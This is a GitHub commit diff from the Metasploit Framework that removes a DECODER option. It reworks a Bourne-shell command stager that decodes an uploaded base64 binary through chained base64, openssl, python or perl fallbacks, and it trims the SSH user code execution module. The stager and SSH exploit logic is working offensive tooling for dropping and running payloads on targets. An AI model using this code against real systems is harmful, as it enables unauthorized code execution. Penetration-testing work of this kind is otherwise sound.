Skip to content

Commit 8b5a83c

Browse files
committed
Remove the DECODER option
1 parent aceba9f commit 8b5a83c

File tree

4 files changed

+22
-69
lines changed

4 files changed

+22
-69
lines changed
Lines changed: 0 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
11
# -*- coding: binary -*-
2-
##
3-
# $Id: cmdstager_bourne.rb
4-
##
52

63
require 'msf/core/exploit/cmdstager'
74

@@ -16,49 +13,9 @@ module Exploit::CmdStagerBourne
1613

1714
include Msf::Exploit::CmdStager
1815

19-
def initialize(info = {})
20-
super
21-
22-
register_advanced_options(
23-
[
24-
OptEnum.new( 'DECODER', [ false, 'The decoding binary to use', 'auto', ['auto', 'base64', 'openssl', 'python', 'perl']]),
25-
], self.class)
26-
end
27-
2816
def create_stager(exe)
2917
Rex::Exploitation::CmdStagerBourne.new(exe)
3018
end
31-
32-
def generate_cmdstager(opts = {}, pl = nil)
33-
available_decoders = ['base64', 'openssl', 'python', 'perl']
34-
opts.merge!({ :decoder => datastore['DECODER'] })
35-
36-
if opts[:decoder] == 'auto'
37-
if self.respond_to? :execute_command_with_feedback
38-
available_decoders.each do |bin|
39-
which_result = execute_command_with_feedback("which #{bin}", opts).to_s
40-
which_result = which_result.strip
41-
if which_result.split.length == 1 and which_result.end_with?(bin)
42-
opts[:decoder] = bin
43-
break
44-
end
45-
end
46-
end
47-
48-
if opts[:decoder] == 'auto'
49-
print_error("Could not detect an appropriate decoder, try setting the DECODER option")
50-
raise ArgumentError
51-
else
52-
print_status("Command Stager using auto-detected decoder: #{opts[:decoder]}")
53-
end
54-
end
55-
56-
if not available_decoders.include?(opts[:decoder])
57-
print_error("Decoder must be one of #{available_decoders.join(', ')}")
58-
raise ArgumentError
59-
end
60-
super
61-
end
6219
end
6320

6421
end

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# -*- coding: binary -*-
2-
# $Id: mixins.rb 16142 2012-11-30 19:45:04Z rapid7 $
2+
# $Id$
33
#
44
# All exploit mixins should be added to the list below
55
#

lib/rex/exploitation/cmdstager/bourne.rb

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
11
# -*- coding: binary -*-
2-
##
3-
# $Id: bourne.rb
4-
##
52

63
require 'rex/text'
74
require 'rex/arch'
@@ -21,6 +18,8 @@ def initialize(exe)
2118

2219
def generate(opts = {})
2320
opts[:temp] = opts[:temp] || '/tmp/'
21+
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
22+
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
2423
super
2524
end
2625

@@ -67,18 +66,20 @@ def parts_to_commands(parts, opts)
6766
# Generate the commands that will decode the file we just created
6867
#
6968
def generate_cmds_decoder(opts)
70-
case opts[:decoder]
71-
when 'base64'
72-
decoder = "base64 --decode #{@tempdir}#{@var_encoded}.b64"
73-
when 'openssl'
74-
decoder = "openssl enc -d -A -base64 -in #{@tempdir}#{@var_encoded}.b64"
75-
when 'python'
76-
decoder = "python -c 'import sys; import base64; print base64.standard_b64decode(sys.stdin.read());' < #{@tempdir}#{@var_encoded}.b64"
77-
when 'perl'
78-
decoder = "perl -MIO -e 'use MIME::Base64; while (<>) { print decode_base64($_); }' < #{@tempdir}#{@var_encoded}.b64"
69+
decoders = [
70+
"base64 --decode #{@tempdir}#{@var_encoded}.b64",
71+
"openssl enc -d -A -base64 -in #{@tempdir}#{@var_encoded}.b64",
72+
"python -c 'import sys; import base64; print base64.standard_b64decode(sys.stdin.read());' < #{@tempdir}#{@var_encoded}.b64",
73+
"perl -MIO -e 'use MIME::Base64; while (<>) { print decode_base64($_); }' < #{@tempdir}#{@var_encoded}.b64"
74+
]
75+
decoder_cmd = []
76+
decoders.each do |cmd|
77+
binary = cmd.split(' ')[0]
78+
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
7979
end
80-
decoder << " > #{@tempdir}#{@var_decoded}.bin"
81-
[ decoder ]
80+
decoder_cmd = decoder_cmd.join(" || ")
81+
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin"
82+
[ decoder_cmd ]
8283
end
8384

8485
def compress_commands(cmds, opts)

modules/exploits/multi/ssh/sshexec.rb

Lines changed: 6 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,9 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
17

28
require 'msf/core'
39
require 'net/ssh'
@@ -12,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote
1218
def initialize
1319
super(
1420
'Name' => 'SSH User Code Execution',
15-
'Version' => '',
1621
'Description' => %q{
1722
This module utilizes a stager to upload a base64 encoded
1823
binary which is then decoded, chmod'ed and executed from
@@ -88,16 +93,6 @@ def execute_command(cmd, opts = {})
8893
end
8994
end
9095

91-
def execute_command_with_feedback(cmd, opts = {})
92-
begin
93-
Timeout.timeout(3) do
94-
feedback = self.ssh_socket.exec!("#{cmd}\n")
95-
return feedback
96-
end
97-
rescue ::Exception
98-
end
99-
end
100-
10196
def do_login(ip, user, pass, port)
10297
opt_hash = {
10398
:auth_methods => ['password', 'keyboard-interactive'],

0 commit comments

Comments
 (0)